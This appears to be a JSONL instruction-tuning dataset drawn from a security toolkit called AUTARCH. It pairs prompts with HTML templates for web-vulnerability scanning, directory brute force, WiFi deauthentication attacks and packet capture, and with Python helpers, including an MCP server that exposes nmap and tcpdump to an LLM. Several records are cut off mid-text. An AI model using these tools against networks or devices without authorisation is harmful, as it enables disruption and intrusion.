style=\"display:flex;align-items:center;gap:1rem;margin-bottom:0.75rem\">\n <div style=\"flex:1;background:var(--bg-input);border-radius:6px;height:24px;overflow:hidden\">\n <div id=\"vs-progress-bar\" style=\"height:100%;background:var(--accent);transition:width 0.3s;width:0%\"></div>\n </div>\n <span id=\"vs-progress-pct\" style=\"font-size:0.85rem;font-weight:600;min-width:40px;text-align:right\">0%</span>\n </div>\n <div id=\"vs-progress-msg\" style=\"font-size:0.8rem;color:var(--text-
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Webapp Scanner' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: webapp_scanner.html\nSections: 0\nTabs: 4\nForms/API calls: 6\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Web Scanner — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Web Application Scanner</h1>\n <p class=\"text-muted\">Directory brute, subdomain enum, vuln scanning, header analysis</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('quick')\">Quick Scan</button>\n <button class=\"tab\" onclick=\"switchTab('dirbust')\">Dir Brute</button>\n <button class=\"tab\" onclick=\"switchTab('subdomain')\">Subdomains</button>\n <button class=\"tab\" onclick=\"switchTab('vuln')\">Vuln Scan</button>\n <button class=\"tab\" onclick=\"switchTab('crawl')\">Crawl</button>\n</div>\n\n<!-- Quick Scan -->\n<div id=\"tab-quick\" class=\"tab-content active\">\n <div class=\"card\" style=\"max-width:900px\">\n <h3>Quick Scan</h3>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <div class=\"form-group\" style=\"flex:1;margin:0\">\n <input type=\"text\" id=\"qs-url\" class=\"form-control\" placeholder=\"https://example.com\" onkeypress=\"if(event.key==='Enter')quickScan()\">\n </div>\n <button class=\"btn btn-primary\" onclick=\"quickScan()\">Scan</button>\n </div>\n <div id=\"qs-results\" style=\"margin-top:1rem\"></div>\n </div>\n</div>\n\n<!-- Dir Brute -->\n<div id=\"tab-dirbust\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\" style=\"max-width:900px\">\n <h3>Directory Bruteforce</h3>\n <div class=\"form-group\">\n <label>Target URL</label>\n <input type=\"text\" id=\"db-url\" class=\"form-control\" placeholder=\"https://example.com\">\n </div>\n <div class=\"form-group\">\n <label>Extensions (comma-separated, empty for none)</label>\n <input type=\"text\" id=\"db-ext\" class=\"form-control\" placeholder=\".php,.html,.txt,.bak\">\n </div>\n <button class=\"btn btn-primary\" onclick=\"startDirbust()\">Start</button>\n <div id=\"db-status\" style=\"margin-top:0.5rem\"></div>\n <div id=\"db-results\" style=\"margin-top:1rem\"></div>\n </div>\n</div>\n\n<!-- Subdomain -->\n<div id=\"tab-subdomain\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\" style=\"max-width:900px\">\n <h3>Subdomain Enumeration</h3>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <div class=\"form-group\" style=\"flex:1;margin:0\">\n <input type=\"text\" id=\"sd-domain\" class=\"form-control\" placeholder=\"example.com\">\n </div>\n <label style=\"white-space:nowrap;font-size:0.85rem\"><input type=\"checkbox\" id=\"sd-ct\" checked> CT Logs</label>\n <button class=\"btn btn-primary\" onclick=\"subdomainEnum()\">Enumerate</button>\n </div>\n <div id=\"sd-results\" style=\"margin-top:1rem\"></div>\n </div>\n</div>\n\n<!-- Vuln Scan -->\n<div id=\"tab-vuln\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\" style=\"max-width:900px\">\n <h3>Vulnerability Scanner</h3>\n <div class=\"form-group\">\n <label>Target URL (with parameters preferred)</label>\n <input type=\"text\" id=\"vs-url\" class=\"form-control\" placeholder=\"https://example.com/search?q=test\">\n </div>\n <div style=\"display:flex;gap:1rem;margin:0.5rem 0;font-size:0.85rem\">\n <label><input type=\"checkbox\" id=\"vs-sqli\" checked> SQL Injection</label>\n <label><input type=\"checkbox\" id=\"vs-xss\" checked> Cross-Site Scripting</label>\n </div>\n <button class=\"btn btn-primary\" onclick=\"vulnScan()\">
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Wifi Audit' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: wifi_audit.html\nSections: 9\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — WiFi Audit{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>WiFi Auditing</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Wireless network scanning, attack tools, and monitoring.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"wifi\" data-tab=\"scan\" onclick=\"showTab('wifi','scan')\">Scan</button>\n <button class=\"tab\" data-tab-group=\"wifi\" data-tab=\"attack\" onclick=\"showTab('wifi','attack')\">Attack</button>\n <button class=\"tab\" data-tab-group=\"wifi\" data-tab=\"monitor\" onclick=\"showTab('wifi','monitor')\">Monitor</button>\n</div>\n\n<!-- ==================== SCAN TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"wifi\" data-tab=\"scan\">\n\n<div class=\"section\">\n <h2>Wireless Interfaces</h2>\n <div class=\"tool-actions\">\n <button class=\"btn btn-small\" onclick=\"wifiRefreshIfaces()\">Refresh</button>\n <button class=\"btn btn-primary btn-small\" onclick=\"wifiMonitorMode(true)\">Enable Monitor Mode</button>\n <button class=\"btn btn-danger btn-small\" onclick=\"wifiMonitorMode(false)\">Disable Monitor Mode</button>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>Interface</th><th>Mode</th><th>Driver</th><th>Chipset</th><th>Status</th></tr></thead>\n <tbody id=\"wifi-iface-list\">\n <tr><td colspan=\"5\" class=\"empty-state\">Click Refresh to list wireless interfaces.</td></tr>\n </tbody>\n </table>\n <div class=\"form-group\" style=\"max-width:300px;margin-top:12px\">\n <label>Selected Interface</label>\n <select id=\"wifi-iface-select\">\n <option value=\"\">-- refresh to populate --</option>\n </select>\n </div>\n</div>\n\n<div class=\"section\">\n <h2>Network Scan</h2>\n <div class=\"input-row\">\n <input type=\"number\" id=\"wifi-scan-duration\" placeholder=\"Duration (seconds)\" value=\"15\" min=\"5\" max=\"120\" style=\"max-width:200px\">\n <button id=\"btn-wifi-scan\" class=\"btn btn-primary\" onclick=\"wifiScanNetworks()\">Scan Networks</button>\n </div>\n <table class=\"data-table\">\n <thead>\n <tr>\n <th>BSSID</th><th>SSID</th><th>Channel</th>\n <th>Encryption</th><th>Signal</th><th>Clients</th>\n </tr>\n </thead>\n <tbody id=\"wifi-scan-results\">\n <tr><td colspan=\"6\" class=\"empty-state\">No scan results yet.</td></tr>\n </tbody>\n </table>\n</div>\n\n</div>\n\n<!-- ==================== ATTACK TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"wifi\" data-tab=\"attack\">\n\n<div class=\"section\">\n <h2>Deauthentication Attack</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Send deauthentication frames to disconnect clients from an access point.\n </p>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Target BSSID</label>\n <input type=\"text\" id=\"deauth-bssid\" placeholder=\"AA:BB:CC:DD:EE:FF\">\n </div>\n <div class=\"form-group\">\n <label>Client MAC (optional, blank = broadcast)</label>\n <input type=\"text\" id=\"deauth-client\" placeholder=\"AA:BB:CC:DD:EE:FF\">\n </div>\n <div class=\"form-group\" style=\"max-width:120px\">\n <label>Count</label>\n <input type=\"number\" id=\"deauth-count\" value=\"10\" min=\"1\" max=\"9999\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button i
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Wireguard' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: wireguard.html\nSections: 17\nTabs: 3\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}WireGuard - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>WireGuard VPN Manager</h1>\n</div>\n\n<!-- Status Cards -->\n<div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Interface</div>\n <div class=\"stat-value small\">\n <span id=\"wg-status-dot\" class=\"status-dot inactive\"></span>\n <span id=\"wg-status-text\">Checking...</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Endpoint</div>\n <div class=\"stat-value small\" id=\"wg-endpoint\">-</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Clients</div>\n <div class=\"stat-value small\">\n <span id=\"wg-client-count\">0</span> total,\n <span id=\"wg-online-count\">0</span> online\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">USB/IP</div>\n <div class=\"stat-value small\">\n <span id=\"wg-usbip-dot\" class=\"status-dot {{ 'active' if usbip_status.available else 'inactive' }}\"></span>\n {{ 'Available' if usbip_status.available else 'Not found' }}\n </div>\n </div>\n</div>\n\n<!-- Tabs -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"wg-main\" data-tab=\"dashboard\" onclick=\"showTab('wg-main','dashboard')\">Dashboard</button>\n <button class=\"tab\" data-tab-group=\"wg-main\" data-tab=\"clients\" onclick=\"showTab('wg-main','clients')\">Clients</button>\n <button class=\"tab\" data-tab-group=\"wg-main\" data-tab=\"adb\" onclick=\"showTab('wg-main','adb')\">Remote ADB</button>\n <button class=\"tab\" data-tab-group=\"wg-main\" data-tab=\"settings\" onclick=\"showTab('wg-main','settings')\">Settings</button>\n</div>\n\n<!-- ═══════════════════════════════════════════════════════════════ -->\n<!-- DASHBOARD TAB -->\n<!-- ═══════════════════════════════════════════════════════════════ -->\n<div class=\"tab-content active\" data-tab-group=\"wg-main\" data-tab=\"dashboard\">\n <div class=\"section\">\n <h2>Server Controls</h2>\n <div class=\"tool-actions\" style=\"display:flex;gap:8px;flex-wrap:wrap\">\n <button class=\"btn btn-primary\" onclick=\"wgStartInterface()\">Start</button>\n <button class=\"btn\" onclick=\"wgStopInterface()\">Stop</button>\n <button class=\"btn\" onclick=\"wgRestartInterface()\">Restart</button>\n <button class=\"btn\" onclick=\"wgServerStatus()\">Refresh Status</button>\n </div>\n </div>\n\n <div class=\"section\">\n <h2>Server Info</h2>\n <table class=\"data-table\" id=\"wg-server-info\">\n <tbody>\n <tr><td>Interface</td><td id=\"wg-si-iface\">-</td></tr>\n <tr><td>Status</td><td id=\"wg-si-status\">-</td></tr>\n <tr><td>Public Key</td><td id=\"wg-si-pubkey\" style=\"word-break:break-all\">-</td></tr>\n <tr><td>Endpoint</td><td id=\"wg-si-endpoint\">-</td></tr>\n <tr><td>Listen Port</td><td id=\"wg-si-port\">-</td></tr>\n <tr><td>Active Peers</td><td id=\"wg-si-peers\">-</td></tr>\n </tbody>\n </table>\n </div>\n\n <div class=\"section\">\n <h2>Recent Peers</h2>\n <div id=\"wg-peers-table\"
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Wireshark' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: wireshark.html\nSections: 4\nTabs: 5\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Wireshark - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Packet Analysis</h1>\n</div>\n\n<!-- Engine Status -->\n<div class=\"section\">\n <h2>Engine Status</h2>\n <div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(150px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Scapy</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.scapy else 'inactive' }}\"></span>\n {{ 'Available' if status.scapy else 'Missing' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">tshark</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.tshark else 'warning' }}\"></span>\n {{ 'Available' if status.tshark else 'Not found' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Live Capture</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if status.can_capture else 'warning' }}\"></span>\n {{ 'Ready' if status.can_capture else 'Needs root' }}\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Status</div>\n <div class=\"stat-value small\" id=\"ws-capture-status\">\n <span class=\"status-dot inactive\"></span>Idle\n </div>\n </div>\n </div>\n</div>\n\n<!-- Live Capture -->\n<div class=\"section\">\n <h2>Live Capture</h2>\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\">\n <label>Interface</label>\n <select id=\"ws-interface\">\n <option value=\"\">Loading...</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>BPF Filter</label>\n <input type=\"text\" id=\"ws-filter\" placeholder=\"e.g., tcp port 80, udp, host 10.0.0.1\">\n </div>\n <div class=\"form-group\">\n <label>Duration (sec)</label>\n <input type=\"number\" id=\"ws-duration\" value=\"30\" min=\"5\" max=\"300\" style=\"max-width:100px\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-ws-start\" class=\"btn btn-primary\" onclick=\"wsStartCapture()\">Start Capture</button>\n <button id=\"btn-ws-stop\" class=\"btn btn-stop\" onclick=\"wsStopCapture()\" style=\"display:none\">Stop</button>\n </div>\n <div class=\"progress-text\" id=\"ws-progress\"></div>\n\n <!-- Live Packet Stream -->\n <div id=\"ws-live-packets\" class=\"output-panel scrollable\" style=\"display:none;max-height:300px;font-size:0.78rem\"></div>\n</div>\n\n<!-- PCAP Analysis -->\n<div class=\"section\">\n <h2>PCAP File Analysis</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"ws-pcap-path\" placeholder=\"Path to .pcap file (e.g., /home/snake/capture.pcap)\">\n <button id=\"btn-ws-pcap\" class=\"btn btn-primary\" onclick=\"wsAnalyzePcap()\">Analyze</button>\n </div>\n <div id=\"ws-pcap-info\" style=\"font-size:0.82rem;color:var(--text-secondary);margin-bottom:8px\"></div>\n</div>\n\n<!-- Analysis Tabs -->\n<div class=\"section\" id=\"ws-analysis-section\" style=\"display:none\">\n <h2>Analysis</h2>\n <div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ws-analysis\" data-tab=\"packets\" onclick=\"showTab('ws-analysis','packets')\">Packets</button>\n <button class=\"tab\" data-tab-group=\"ws-anal
|
|||
|
|
{"instruction": "Show how to implement the `get_autonomy_daemon` function in core/autonomy.py", "input": "Function: get_autonomy_daemon()\nDocstring: Get the global AutonomyDaemon instance.", "output": "def get_autonomy_daemon() -> AutonomyDaemon:\n \"\"\"Get the global AutonomyDaemon instance.\"\"\"\n global _daemon_instance\n if _daemon_instance is None:\n _daemon_instance = AutonomyDaemon()\n return _daemon_instance", "type": "api_reference", "source_file": "core/autonomy.py"}
|
|||
|
|
{"instruction": "Show how to implement the `reset_autonomy_daemon` function in core/autonomy.py", "input": "Function: reset_autonomy_daemon()\nDocstring: Stop and reset the global daemon.", "output": "def reset_autonomy_daemon():\n \"\"\"Stop and reset the global daemon.\"\"\"\n global _daemon_instance\n if _daemon_instance is not None:\n _daemon_instance.stop()\n _daemon_instance = None", "type": "api_reference", "source_file": "core/autonomy.py"}
|
|||
|
|
{"instruction": "Show how to implement the `display_banner` function in core/banner.py", "input": "Function: display_banner()\nDocstring: Print the AUTARCH banner to the console.", "output": "def display_banner():\n \"\"\"Print the AUTARCH banner to the console.\"\"\"\n print(BANNER)", "type": "api_reference", "source_file": "core/banner.py"}
|
|||
|
|
{"instruction": "Show how to implement the `clear_screen` function in core/banner.py", "input": "Function: clear_screen()\nDocstring: Clear the terminal screen.", "output": "def clear_screen():\n \"\"\"Clear the terminal screen.\"\"\"\n import os\n os.system('clear' if os.name == 'posix' else 'cls')", "type": "api_reference", "source_file": "core/banner.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_config` function in core/config.py", "input": "Function: get_config()\nDocstring: Get the global configuration instance.", "output": "def get_config() -> Config:\n \"\"\"Get the global configuration instance.\"\"\"\n global _config\n if _config is None:\n _config = Config()\n return _config", "type": "api_reference", "source_file": "core/config.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_cve_db` function in core/cve.py", "input": "Function: get_cve_db()\nDocstring: Get the global CVE database instance.", "output": "def get_cve_db() -> CVEDatabase:\n \"\"\"Get the global CVE database instance.\"\"\"\n global _cve_db\n if _cve_db is None:\n _cve_db = CVEDatabase()\n return _cve_db", "type": "api_reference", "source_file": "core/cve.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_discovery_manager` function in core/discovery.py", "input": "Function: get_discovery_manager(config)\nDocstring: Get or create the DiscoveryManager singleton.", "output": "def get_discovery_manager(config=None) -> DiscoveryManager:\n \"\"\"Get or create the DiscoveryManager singleton.\"\"\"\n global _manager\n if _manager is None:\n if config is None:\n try:\n from core.config import get_config\n cfg = get_config()\n config = {}\n if cfg.has_section('discovery'):\n config = dict(cfg.items('discovery'))\n if cfg.has_section('web'):\n config['web_port'] = cfg.get('web', 'port', fallback='8181')\n except Exception:\n config = {}\n _manager = DiscoveryManager(config)\n return _manager", "type": "api_reference", "source_file": "core/discovery.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_llm` function in core/llm.py", "input": "Function: get_llm()\nDocstring: Get the global LLM instance, auto-loading the model if needed.", "output": "def get_llm():\n \"\"\"Get the global LLM instance, auto-loading the model if needed.\n\n Returns the appropriate backend (LLM, TransformersLLM, ClaudeLLM, or HuggingFaceLLM) based on config.\n \"\"\"\n global _llm_instance\n if _llm_instance is None:\n config = get_config()\n backend = config.get('autarch', 'llm_backend', 'local')\n _llm_logger.info(f\"[LLM] Initializing backend: {backend}\")\n\n try:\n if backend == 'claude':\n settings = config.get_claude_settings()\n _llm_logger.info(f\"[LLM] Claude model: {settings['model']} | API key set: {bool(settings['api_key'])}\")\n _llm_instance = ClaudeLLM(config)\n _llm_instance.load_model()\n _llm_logger.info(f\"[LLM] Claude client ready: {settings['model']}\")\n\n elif backend == 'transformers':\n settings = config.get_transformers_settings()\n _llm_logger.info(f\"[LLM] Transformers model: {settings['model_path']} | device: {settings['device']}\")\n _llm_instance = TransformersLLM(config)\n if settings['model_path']:\n _llm_instance.load_model()\n _llm_logger.info(f\"[LLM] Transformers model loaded: {settings['model_path']}\")\n else:\n _llm_logger.warning(\"[LLM] No transformers model path configured — set one in LLM Settings\")\n\n elif backend == 'huggingface':\n hf = config.get_huggingface_settings()\n _llm_logger.info(f\"[LLM] HuggingFace model: {hf['model']} | provider: {hf.get('provider','auto')} | API key set: {bool(hf['api_key'])}\")\n _llm_instance = HuggingFaceLLM(config)\n _llm_instance.load_model()\n _llm_logger.info(f\"[LLM] HuggingFace client ready: {hf['model']}\")\n\n else: # local / llama.cpp\n settings = config.get_llama_settings()\n _llm_logger.info(f\"[LLM] llama.cpp model: {settings['model_path']} | n_ctx: {settings['n_ctx']} | n_gpu_layers: {settings['n_gpu_layers']} | threads: {settings['n_threads']}\")\n _llm_instance = LLM(config)\n if settings['model_path']:\n _llm_instance.load_model()\n _llm_logger.info(f\"[LLM] llama.cpp model loaded: {settings['model_path']}\")\n else:\n _llm_logger.warning(\"[LLM] No local model path configured — set one in LLM Settings\")\n\n except Exception as exc:\n _llm_logger.error(f\"[LLM] Failed to load backend '{backend}': {exc}\", exc_info=True)\n _llm_instance = None\n raise\n\n return _llm_instance", "type": "api_reference", "source_file": "core/llm.py"}
|
|||
|
|
{"instruction": "Show how to implement the `detect_model_type` function in core/llm.py", "input": "Function: detect_model_type(path)\nDocstring: Detect the type of model at the given path.", "output": "def detect_model_type(path: str) -> str:\n \"\"\"Detect the type of model at the given path.\n\n Args:\n path: Path to model file or directory\n\n Returns:\n 'gguf' for GGUF files, 'transformers' for safetensors directories,\n 'unknown' if cannot be determined\n \"\"\"\n path = Path(path).expanduser()\n\n if not path.exists():\n return 'unknown'\n\n # Check for GGUF file\n if path.is_file():\n if path.suffix.lower() == '.gguf':\n return 'gguf'\n # Some GGUF files might not have .gguf extension\n # Check magic bytes\n try:\n with open(path, 'rb') as f:\n magic = f.read(4)\n if magic == b'GGUF':\n return 'gguf'\n except Exception:\n pass\n\n # Check for transformers/safetensors directory\n if path.is_dir():\n # Check for safetensors files\n safetensor_files = list(path.glob(\"*.safetensors\"))\n if safetensor_files:\n return 'transformers'\n\n # Check for model index\n index_file = path / \"model.safetensors.index.json\"\n if index_file.exists():\n return 'transformers'\n\n # Check for config.json (indicates HF model)\n config_file = path / \"config.json\"\n if config_file.exists():\n # Could be safetensors or pytorch\n if list(path.glob(\"*.safetensors\")) or (path / \"model.safetensors.index.json\").exists():\n return 'transformers'\n # Check for pytorch files too\n if list(path.glob(\"*.bin\")) or (path / \"pytorch_model.bin\").exists():\n return 'transformers'\n\n return 'unknown'", "type": "api_reference", "source_file": "core/llm.py"}
|
|||
|
|
{"instruction": "Show how to implement the `reset_llm` function in core/llm.py", "input": "Function: reset_llm()\nDocstring: Reset the global LLM instance (used when switching backends).", "output": "def reset_llm():\n \"\"\"Reset the global LLM instance (used when switching backends).\"\"\"\n global _llm_instance\n if _llm_instance is not None:\n _llm_logger.info(\"[LLM] Unloading current model instance\")\n _llm_instance.unload_model()\n _llm_instance = None\n _llm_logger.info(\"[LLM] Instance reset — next call to get_llm() will reload\")", "type": "api_reference", "source_file": "core/llm.py"}
|
|||
|
|
{"instruction": "Show how to implement the `get_autarch_tools` function in core/mcp_server.py", "input": "Function: get_autarch_tools()\nDocstring: Build the list of AUTARCH tools to expose via MCP.", "output": "def get_autarch_tools():\n \"\"\"Build the list of AUTARCH tools to expose via MCP.\"\"\"\n tools = []\n\n # ── Network Scanning ──\n tools.append({\n 'name': 'nmap_scan',\n 'description': 'Run an nmap scan against a target. Returns scan results.',\n 'params': {\n 'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True},\n 'ports': {'type': 'string', 'description': 'Port specification (e.g. \"22,80,443\" or \"1-1024\")', 'required': False},\n 'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False},\n }\n })\n\n # ── GeoIP Lookup ──\n tools.append({\n 'name': 'geoip_lookup',\n 'description': 'Look up geographic and network information for an IP address.',\n 'params': {\n 'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True},\n }\n })\n\n # ── DNS Lookup ──\n tools.append({\n 'name': 'dns_lookup',\n 'description': 'Perform DNS lookups for a domain.',\n 'params': {\n 'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True},\n 'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False},\n }\n })\n\n # ── WHOIS ──\n tools.append({\n 'name': 'whois_lookup',\n 'description': 'Perform WHOIS lookup for a domain or IP.',\n 'params': {\n 'target': {'type': 'string', 'description': 'Domain or IP to look up', 'required': True},\n }\n })\n\n # ── Packet Capture ──\n tools.append({\n 'name': 'packet_capture',\n 'description': 'Capture network packets using tcpdump. Returns captured packet summary.',\n 'params': {\n 'interface': {'type': 'string', 'description': 'Network interface (e.g. eth0, wlan0)', 'required': False},\n 'count': {'type': 'integer', 'description': 'Number of packets to capture (default 10)', 'required': False},\n 'filter': {'type': 'string', 'description': 'BPF filter expression', 'required': False},\n }\n })\n\n # ── WireGuard Status ──\n tools.append({\n 'name': 'wireguard_status',\n 'description': 'Get WireGuard VPN tunnel status and peer information.',\n 'params': {}\n })\n\n # ── UPnP Status ──\n tools.append({\n 'name': 'upnp_status',\n 'description': 'Get UPnP port mapping status.',\n 'params': {}\n })\n\n # ── System Info ──\n tools.append({\n 'name': 'system_info',\n 'description': 'Get AUTARCH system information: hostname, platform, uptime, tool availability.',\n 'params': {}\n })\n\n # ── LLM Chat ──\n tools.append({\n 'name': 'llm_chat',\n 'description': 'Send a message to the currently configured LLM backend and get a response.',\n 'params': {\n 'message': {'type': 'string', 'description': 'Message to send to the LLM', 'required': True},\n 'system_prompt': {'type': 'string', 'description': 'Optional system prompt', 'required': False},\n }\n })\n\n # ── Android Device Info ──\n tools.append({\n 'name': 'android_devices',\n 'description': 'List connected Android devices via ADB.',\n 'params': {}\n })\n\n # ── Config Get/Set ──\n tools.append({\n 'name': 'config_get',\n 'description': 'Get an AUTARCH configuration value.',\n 'params': {\n 'section': {'type': 'string', 'description': 'Config section (e.g. autarch, llama, wireguard)', 'required': True},\n 'key': {'type': 'string', 'descrip
|
|||
|
|
{"instruction": "Show how to implement the `execute_tool` function in core/mcp_server.py", "input": "Function: execute_tool(name, arguments)\nDocstring: Execute an AUTARCH tool and return the result as a string.", "output": "def execute_tool(name: str, arguments: dict) -> str:\n \"\"\"Execute an AUTARCH tool and return the result as a string.\"\"\"\n config = get_config()\n\n if name == 'nmap_scan':\n return _run_nmap(arguments, config)\n elif name == 'geoip_lookup':\n return _run_geoip(arguments)\n elif name == 'dns_lookup':\n return _run_dns(arguments)\n elif name == 'whois_lookup':\n return _run_whois(arguments)\n elif name == 'packet_capture':\n return _run_tcpdump(arguments)\n elif name == 'wireguard_status':\n return _run_wg_status(config)\n elif name == 'upnp_status':\n return _run_upnp_status(config)\n elif name == 'system_info':\n return _run_system_info()\n elif name == 'llm_chat':\n return _run_llm_chat(arguments, config)\n elif name == 'android_devices':\n return _run_adb_devices()\n elif name == 'config_get':\n return _run_config_get(arguments, config)\n else:\n return json.dumps({'error': f'Unknown tool: {name}'})", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
{"instruction": "Show how to implement the `create_mcp_server` function in core/mcp_server.py", "input": "Function: create_mcp_server()\nDocstring: Create and return the FastMCP server instance.", "output": "def create_mcp_server():\n \"\"\"Create and return the FastMCP server instance.\"\"\"\n from mcp.server.fastmcp import FastMCP\n\n config = get_config()\n mcp_settings = config.get_mcp_settings()\n\n fastmcp_kwargs = {\n 'instructions': mcp_settings['instructions'],\n }\n if mcp_settings['log_level']:\n fastmcp_kwargs['log_level'] = mcp_settings['log_level']\n if mcp_settings['mask_errors']:\n fastmcp_kwargs['mask_error_details'] = True\n if mcp_settings['rate_limit']:\n fastmcp_kwargs['rate_limit'] = mcp_settings['rate_limit']\n\n mcp = FastMCP(\"autarch\", **fastmcp_kwargs)\n\n # Filter out disabled tools\n disabled = set(t.strip() for t in mcp_settings['disabled_tools'].split(',') if t.strip())\n\n # Register all tools\n tool_defs = get_autarch_tools()\n\n if 'nmap_scan' not in disabled:\n @mcp.tool()\n def nmap_scan(target: str, ports: str = \"\", scan_type: str = \"quick\") -> str:\n \"\"\"Run an nmap network scan against a target. Returns scan results including open ports and services.\"\"\"\n return execute_tool('nmap_scan', {'target': target, 'ports': ports, 'scan_type': scan_type})\n\n if 'geoip_lookup' not in disabled:\n @mcp.tool()\n def geoip_lookup(ip: str) -> str:\n \"\"\"Look up geographic and network information for an IP address.\"\"\"\n return execute_tool('geoip_lookup', {'ip': ip})\n\n if 'dns_lookup' not in disabled:\n @mcp.tool()\n def dns_lookup(domain: str, record_type: str = \"A\") -> str:\n \"\"\"Perform DNS lookups for a domain. Supports A, AAAA, MX, NS, TXT, CNAME, SOA record types.\"\"\"\n return execute_tool('dns_lookup', {'domain': domain, 'record_type': record_type})\n\n if 'whois_lookup' not in disabled:\n @mcp.tool()\n def whois_lookup(target: str) -> str:\n \"\"\"Perform WHOIS lookup for a domain or IP address.\"\"\"\n return execute_tool('whois_lookup', {'target': target})\n\n if 'packet_capture' not in disabled:\n @mcp.tool()\n def packet_capture(interface: str = \"\", count: int = 10, filter: str = \"\") -> str:\n \"\"\"Capture network packets using tcpdump. Returns captured packet summary.\"\"\"\n return execute_tool('packet_capture', {'interface': interface, 'count': count, 'filter': filter})\n\n if 'wireguard_status' not in disabled:\n @mcp.tool()\n def wireguard_status() -> str:\n \"\"\"Get WireGuard VPN tunnel status and peer information.\"\"\"\n return execute_tool('wireguard_status', {})\n\n if 'upnp_status' not in disabled:\n @mcp.tool()\n def upnp_status() -> str:\n \"\"\"Get UPnP port mapping status.\"\"\"\n return execute_tool('upnp_status', {})\n\n if 'system_info' not in disabled:\n @mcp.tool()\n def system_info() -> str:\n \"\"\"Get AUTARCH system information: hostname, platform, uptime, tool availability.\"\"\"\n return execute_tool('system_info', {})\n\n if 'llm_chat' not in disabled:\n @mcp.tool()\n def llm_chat(message: str, system_prompt: str = \"\") -> str:\n \"\"\"Send a message to the currently configured LLM backend and get a response.\"\"\"\n args = {'message': message}\n if system_prompt:\n args['system_prompt'] = system_prompt\n return execute_tool('llm_chat', args)\n\n if 'android_devices' not in disabled:\n @mcp.tool()\n def android_devices() -> str:\n \"\"\"List connected Android devices via ADB.\"\"\"\n return execute_tool('android_devices', {})\n\n if 'config_get' not in disabled:\n @mcp.tool()\n def config_get(section: str, key: str) -> str:\n
|
|||
|
|
{"instruction": "Show how to implement the `run_stdio` function in core/mcp_server.py", "input": "Function: run_stdio()\nDocstring: Run the MCP server in stdio mode (for Claude Desktop / Claude Code).", "output": "def run_stdio():\n \"\"\"Run the MCP server in stdio mode (for Claude Desktop / Claude Code).\"\"\"\n mcp = create_mcp_server()\n mcp.run(transport='stdio')", "type": "api_reference", "source_file": "core/mcp_server.py"}
|
|||
|
|
